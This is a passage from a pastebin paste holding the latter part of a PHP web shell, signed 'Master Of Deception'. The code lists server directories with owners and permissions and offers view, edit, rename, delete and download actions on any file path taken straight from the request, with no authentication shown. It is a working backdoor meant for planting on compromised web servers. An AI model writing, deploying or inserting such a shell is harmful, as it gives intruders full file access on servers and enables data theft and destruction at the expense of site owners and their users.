  711. echo "Filename: <font color=lime>".basename($_GET['file'])."</font> [ <a href='?act=view&dir=$dir&file=".$_GET['file']."'>view</a> ] [ <a href='?act=edit&dir=$dir&file=".$_GET['file']."'>edit</a> ] [ <a href='?act=rename&dir=$dir&file=".$_GET['file']."'><b>rename</b></a> ] [ <a href='?act=download&dir=$dir&file=".$_GET['file']."'>download</a> ] [ <a href='?act=delete&dir=$dir&file=".$_GET['file']."'>delete</a> ]<br>";
  712. echo "<form method='post'>
  713. <input type='text' value='".basename($_GET['file'])."' name='rename' style='width: 450px;' height='10'>
  714. <input type='submit' name='do_rename' value='rename'>
  715. </form>";
  716. } elseif($_GET['act'] == 'delete') {
  717. $delete = unlink($_GET['file']);
  718. if($delete) {
  719. $act = "<script>window.location='?dir=".$dir."';</script>";
  720. } else {
  721. $act = "<font color=red>permission denied</font>";
  722. }
  723. echo $act;
  724. } elseif(isset($_GET['file']) && ($_GET['file'] != '') && ($_GET['act'] == 'download')) {
  725. @ob_clean();
  726. $file = $_GET['file'];
  727. @header('Content-Description: File Transfer');
  728. @header('Content-Type: application/octet-stream');
  729. @header('Content-Disposition: attachment; filename="'.basename($file).'"');
  730. @header('Expires: 0');
  731. @header('Cache-Control: must-revalidate');
  732. @header('Pragma: public');
  733. @header('Content-Length: ' . filesize($file));
  734. readfile($file);
  735. exit;
  736. } else {
  737. if(is_dir($dir) === true) {
  738. if(!is_readable($dir)) {
  739. echo "<font color=red>can't open directory. ( not readable )</font>";
  740. } else {
  741. echo '<table width="100%" class="table_home" border="0" cellpadding="3" cellspacing="1" align="center">
  742. <tr>
  743. <th class="th_home"><center>Name</center></th>
  744. <th class="th_home"><center>Type</center></th>
  745. <th class="th_home"><center>Size</center></th>
  746. <th class="th_home"><center>Last Modified</center></th>
  747. <th class="th_home"><center>Owner/Group</center></th>
  748. <th class="th_home"><center>Permission</center></th>
  749. <th class="th_home"><center>Action</center></th>
  750. </tr>';
  751. $scandir = scandir($dir);
  752. foreach($scandir as $dirx) {
  753. $dtype = filetype("$dir/$dirx");
  754. $dtime = date("F d Y g:i:s", filemtime("$dir/$dirx"));
  755. if(function_exists('posix_getpwuid')) {
  756. $downer = @posix_getpwuid(fileowner("$dir/$dirx"));
  757. $downer = $downer['name'];
  758. } else {
  759. //$downer = $uid;
  760. $downer = fileowner("$dir/$dirx");
  761. }
  762. if(function_exists('posix_getgrgid')) {
  763. $dgrp = @posix_getgrgid(filegroup("$dir/$dirx"));
  764. $dgrp = $dgrp['name'];
  765. } else {
  766. $dgrp = filegroup("$dir/$dirx");
  767. }
  768. if(!is_dir("$dir/$dirx")) continue;
  769. if($dirx === '..') {
  770. $href = "<a href='?dir=".dirname($dir)."'>$dirx</a>";
  771. } elseif($dirx === '.') {
  772. $href = "<a href='?dir=$dir'>$dirx</a>";
  773. } else {
  774. $href = "<a href='?dir=$dir/$dirx'>$dirx</a>";
  775. }
  776. if($dirx === '.' || $dirx === '..') {
  777. $act_dir = "<a href='?act=newfile&dir=$dir'>newfile</a> | <a href='?act=newfolder&dir=$dir'>newfolder</a>";
  778. } else {
  779. $act_dir = "<a href='?act=rename_dir&dir=$dir/$dirx'>rename</a> | <a href='?act=delete_dir&dir=$dir/$dirx'>delete</a>";
  780. }
  781. echo "<tr>";
  782. echo "<td class='td_home'><img src='data:image/png;base64,R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAA"."AAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp"."/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs='>$href</td>";
  783. echo "<td class='td_home'><center>$dtype</center></td>";
  784. echo "<td class='td_home'><center>-</center></th></td>";
  785. echo "<td class='td_home'><center>$dtime</center></td>";
  786. echo "<td class='td_home'><center>$downer/$dgrp</center></td>";
  787. echo "<td class='td_home'><center>".w("$dir/$dirx",perms("$dir/$dirx"))."</center></td>";
  788. echo "<td class='td_home' style='padding-left: 15px;'>$act_dir</td>";
  789. echo "</tr>";
  790. }
  791. }
  792. } else {
  793. echo "<font color=red>can't open directory.</font>";
  794. }
  795. foreach($scandir as $file) {
  796. $ftype = filetype("$dir/$file");
  797. $ftime = date("F d Y g:i:s", filemtime("$dir/$file"));
  798. $size = filesize("$dir/$file")/1024;
  799. $size = round($size,3);
  800. if(function_exists('posix_getpwuid')) {
  801. $fowner = @posix_getpwuid(fileowner("$dir/$file"));
  802. $fowner = $fowner['name'];
  803. } else {
  804. //$downer = $uid;
  805. $fowner = fileowner("$dir/$file");
  806. }
  807. if(function_exists('posix_getgrgid')) {
  808. $fgrp = @posix_getgrgid(filegroup("$dir/$file"));
  809. $fgrp = $fgrp['name'];
  810. } else {
  811. $fgrp = filegroup("$dir/$file");
  812. }
  813. if($size > 1024) {
  814. $size = round($size/1024,2). 'MB';
  815. } else {
  816. $size = $size. 'KB';
  817. }
  818. if(!is_file("$dir/$file")) continue;
  819. echo "<tr>";
  820. echo "<td class='td_home'><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9oJBhcTJv2B2d4AAAJMSURBVDjLbZO9ThxZEIW/qlvdtM38BNgJQmQgJGd+A/MQBLwGjiwH3nwdkSLtO2xERG5LqxXRSIR2YDfD4GkGM0P3rb4b9PAz0l7pSlWlW0fnnLolAIPB4PXh4eFunucAIILwdESeZyAifnp6+u9oNLo3gM3NzTdHR+//zvJMzSyJKKodiIg8AXaxeIz1bDZ7MxqNftgSURDWy7LUnZ0dYmxAFAVElI6AECygIsQQsizLBOABADOjKApqh7u7GoCUWiwYbetoUHrrPcwCqoF2KUeXLzEzBv0+uQmSHMEZ9F6SZcr6i4IsBOa/b7HQMaHtIAwgLdHalDA1ev0eQbSjrErQwJpqF4eAx/hoqD132mMkJri5uSOlFhEhpUQIiojwamODNsljfUWCqpLnOaaCSKJtnaBCsZYjAllmXI4vaeoaVX0cbSdhmUR3zAKvNjY6Vioo0tWzgEonKbW+KkGWt3Unt0CeGfJs9g+UU0rEGHH/Hw/MjH6/T+POdFoRNKChM22xmOPespjPGQ6HpNQ27t6sACDSNanyoljDLEdVaFOLe8ZkUjK5ukq3t79lPC7/ODk5Ga+Y6O5MqymNw3V1y3hyzfX0hqvJLybXFd++f2d3d0dms+qvg4ODz8fHx0/Lsbe3964sS7+4uEjunpqmSe6e3D3N5/N0WZbtly9f09nZ2Z/b29v2fLEevvK9qv7c2toKi8UiiQiqHbm6riW6a13fn+zv73+oqorhcLgKUFXVP+fn52+Lonj8ILJ0P8ZICCF9/PTpClhpBvgPeloL9U55NIAAAAAASUVORK5CYII='><a href='?act=view&dir=$dir&file=$dir/$file'>$file</a></td>";
  821. echo "<td class='td_home'><center>$ftype</center></td>";
  822. echo "<td class='td_home'><center>$size</center></td>";
  823. echo "<td class='td_home'><center>$ftime</center></td>";
  824. echo "<td class='td_home'><center>$fowner/$fgrp</center></td>";
  825. echo "<td class='td_home'><center>".w("$dir/$file",perms("$dir/$file"))."</center></td>";
  826. echo "<td class='td_home' style='padding-left: 15px;'><a href='?act=edit&dir=$dir&file=$dir/$file'>edit</a> | <a href='?act=rename&dir=$dir&file=$dir/$file'>rename</a> | <a href='?act=delete&dir=$dir&file=$dir/$file'>delete</a> | <a href='?act=download&dir=$dir&file=$dir/$file'>download</a></td>";
  827. echo "</tr>";
  828. }
  829. echo "</table>";
  830. if(!is_readable($dir)) {
  831. //
  832. } else {
  833. echo "<hr>";
  834. }
  835. echo "<center>Copyright &copy; ".date("Y")." - <a href='http://facebook.com/OM.Dhyo' target='_blank'><font color=lime>Master Of Deception</font></a></center>";
  836. }
  837. ?>
  838. </html>
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!